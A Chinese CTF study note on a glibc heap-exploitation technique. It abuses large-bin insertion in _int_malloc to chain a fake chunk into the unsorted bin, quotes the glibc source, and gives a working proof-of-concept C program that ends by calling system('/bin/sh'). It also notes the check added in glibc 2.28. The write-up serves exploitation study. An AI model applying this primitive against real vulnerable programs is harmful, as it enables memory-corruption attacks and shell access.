做hgame的时候有搜到过,现在来研究一下<( ̄︶ ̄)↗[GO!]
原理 主要利用的就是_int_malloc中整理unsorted bin将chunk放进large bin的过程,实现效果为伪造一个合法的chunk链入unsorted bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0 ) || __builtin_expect (victim->size > av->system_mem, 0 )) malloc_printerr (check_action, "malloc(): memory corruption" , chunk2mem (victim), av); size = chunksize (victim); …… unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); …… else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert ((bck->bk->size & NON_MAIN_ARENA) == 0 ); if ((unsigned long ) (size) < (unsigned long ) (bck->bk->size)) { …… } else { assert ((fwd->size & NON_MAIN_ARENA) == 0 ); while ((unsigned long ) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0 ); } if ((unsigned long ) size == (unsigned long ) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
利用 2.27以前 实验代码 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdlib.h> #include <stdio.h> #include <string.h> struct { unsigned long presize; unsigned long size; unsigned long fd; unsigned long bk; unsigned long fd_nextsize; unsigned long bk_nextsize; }chunk;int main () { unsigned long *large_chunk,*unsorted_chunk; unsigned long *fake_chunk = (unsigned long *)&chunk; char *ptr; unsorted_chunk=malloc (0x418 ); malloc (0X20 ); large_chunk=malloc (0x408 ); malloc (0x20 ); free (large_chunk); free (unsorted_chunk); unsorted_chunk=malloc (0x418 ); free (unsorted_chunk); unsorted_chunk[1 ] = (unsigned long )fake_chunk; large_chunk[1 ] = (unsigned long )fake_chunk+8 ; large_chunk[3 ] = (unsigned long )fake_chunk-0x18 -5 ; ptr=malloc (0x48 ); strncpy (ptr, "/bin/sh\x00" , 0x10 ); system(((char *)fake_chunk + 0x10 )); return 0 ; }
重点过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 bck = victim->bk; size = chunksize (victim); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; bck = fwd->bk; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
伪造的size为0x56或0x55,所以malloc一个0x48的chunk(实际大小0x50)会返回fake_chunk
2.28以后 _int_malloc中整理unsorted bin时新增检查chunk的连接
1 2 3 4 if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3" ); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);